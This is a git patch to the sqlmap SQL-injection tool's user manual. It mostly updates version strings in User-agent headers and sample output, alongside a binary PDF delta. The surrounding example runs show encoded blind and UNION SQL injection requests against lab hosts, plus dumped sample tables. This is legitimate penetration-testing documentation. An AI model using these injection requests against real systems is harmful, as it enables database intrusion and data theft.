From fe6e29fbf683ef3df5e2b1580336d84ef33413d3 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 17 Oct 2008 15:50:36 +0000 Subject: [PATCH] Minor updates to the user's manual, need still to write on new enhancements --- doc/README.html | 78 ++++++++++++++++++++++++------------------------ doc/README.pdf | Bin 284535 -> 284619 bytes doc/README.sgml | 64 +++++++++++++++++++-------------------- 3 files changed, 71 insertions(+), 71 deletions(-) diff --git a/doc/README.html b/doc/README.html index 975925622..46bde7d5f 100644 --- a/doc/README.html +++ b/doc/README.html @@ -8,7 +8,7 @@

sqlmap user's manual

by -Bernardo Damele A. G.

version 0.6, 1st of September 2008 +Bernardo Damele A. G.version 0.6.1, 20th of October 2008
This document is the user's manual to use sqlmap. @@ -73,7 +73,7 @@ read specific files on the file system and much more.

Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system since it only -requires the Python interpreter. +requires the Python interpreter version equal or above to 2.4. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box @@ -292,19 +292,19 @@ It is available in various formats:

@@ -331,7 +331,7 @@ and
 $ python sqlmap.py -h
 
-    sqlmap/0.6 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
+    sqlmap/0.6.1.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                         and Daniele Bellucci <daniele.bellucci@gmail.com>
     
 Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}
@@ -528,7 +528,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat
 [hh:mm:28] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
 Host: 192.168.1.121:80
-User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
 Connection: close
 [...]
 [hh:mm:29] [INFO] testing MySQL
@@ -537,7 +537,7 @@ Connection: close
 GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
 CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
 Host: 192.168.1.121:80
-User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
 Connection: close
 [...]
 
@@ -555,7 +555,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat [hh:mm:32] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200): @@ -573,7 +573,7 @@ Content-Type: text/html GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200): @@ -600,7 +600,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat [hh:mm:23] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200): @@ -625,7 +625,7 @@ Content-Type: text/html GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20 CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200): @@ -742,7 +742,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
 $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
-  -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)"
+  -p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)"
 
 [hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
 [hh:mm:40] [INFO] testing connection to the target url
@@ -888,7 +888,7 @@ $ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
 [hh:mm:39] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 Host: 192.168.1.125:80
-User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
 Connection: close
 
@@ -900,7 +900,7 @@ Connection: close
 GET /sqlmap/get_str.asp?name=luther HTTP/1.1
 Host: 192.168.1.125:80
 Cookie: ASPSESSIONIDSABTRCAS=469
-User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 Connection: close
 
 [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@@ -948,7 +948,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
 GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
 Host: 192.168.1.121:80
 Referer: http://www.google.com
-User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 Connection: close
 [...]
 
@@ -965,7 +965,7 @@ Connection: close

-sqlmap/0.6 (http://sqlmap.sourceforge.net)
+sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
 

@@ -1051,7 +1051,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1& GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1068,7 +1068,7 @@ nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f", uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, cnonce="df1c0902c931b640" -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1193,7 +1193,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id= [hh:mm:50] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): @@ -1215,7 +1215,7 @@ Content-Type: text/html [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): @@ -1237,7 +1237,7 @@ Content-Type: text/html [hh:mm:51] [TRAFFIC OUT] HTTP request: GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): @@ -1549,9 +1549,9 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&ca [hh:mm:03] [INFO] performed 13 queries in 0 seconds [hh:mm:03] [INFO] query: @@VERSION [hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86) - Aug 6 2000 00:57:48 - Copyright (c) 1988-2000 Microsoft Corporation - Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) + Aug 6 2000 00:57:48 + Copyright (c) 1988-2000 Microsoft Corporation + Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) [hh:mm:08] [INFO] performed 1308 queries in 4 seconds back-end DBMS: active fingerprint: Microsoft SQL Server 2000 @@ -2064,7 +2064,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | NULL | nameisnull | +----+--------------------------------------------+-------------------+ @@ -2118,7 +2118,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | | nameisnull | +----+--------------------------------------------+-------------------+ @@ -2132,7 +2132,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv "1","luther","blissett" "2","fluffy","bunny" "3","wu","ming" -"4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header" +"4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header" "5","","nameisnull"
@@ -2159,7 +2159,7 @@ Table: users | 1 | luther | blissett | | 2 | fluffy | bunny | | 3 | wu | ming | -| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 5 | NULL | nameisnull | +----+--------------------------------------------+-------------------+ @@ -2249,7 +2249,7 @@ Table: users +----+--------------------------------------------+-------------------+ | id | name | surname | +----+--------------------------------------------+-------------------+ -| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header | +| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 2 | fluffy | bunny | | 1 | luther | blisset | | 3 | wu | ming | @@ -2782,9 +2782,9 @@ CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204 banner: --- Microsoft SQL Server 2000 - 8.00.194 (Intel X86) - Aug 6 2000 00:57:48 - Copyright (c) 1988-2000 Microsoft Corporation - Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) + Aug 6 2000 00:57:48 + Copyright (c) 1988-2000 Microsoft Corporation + Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) --- @@ -2812,7 +2812,7 @@ GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28C %2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2 06043=6043&cat=2 HTTP/1.1 Host: 192.168.1.121:80 -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200): @@ -2954,7 +2954,7 @@ $ python sqlmap.py --update -v 4 [hh:mm:55] [TRAFFIC OUT] HTTP request: GET /doc/VERSION HTTP/1.1 Host: sqlmap.sourceforge.net -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200): @@ -2973,7 +2973,7 @@ X-Pad: avoid browser bug [hh:mm:56] [TRAFFIC OUT] HTTP request: GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1 Host: www.sqlsecurity.com -User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; language=en-US Connection: close diff --git a/doc/README.pdf b/doc/README.pdf index f6f3c93b83631493e902cc64bf0e7f2128e49b19..99e90c9a6307141a35e6f7623d5fbe7acc9b84bb 100644 GIT binary patch delta 41723 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 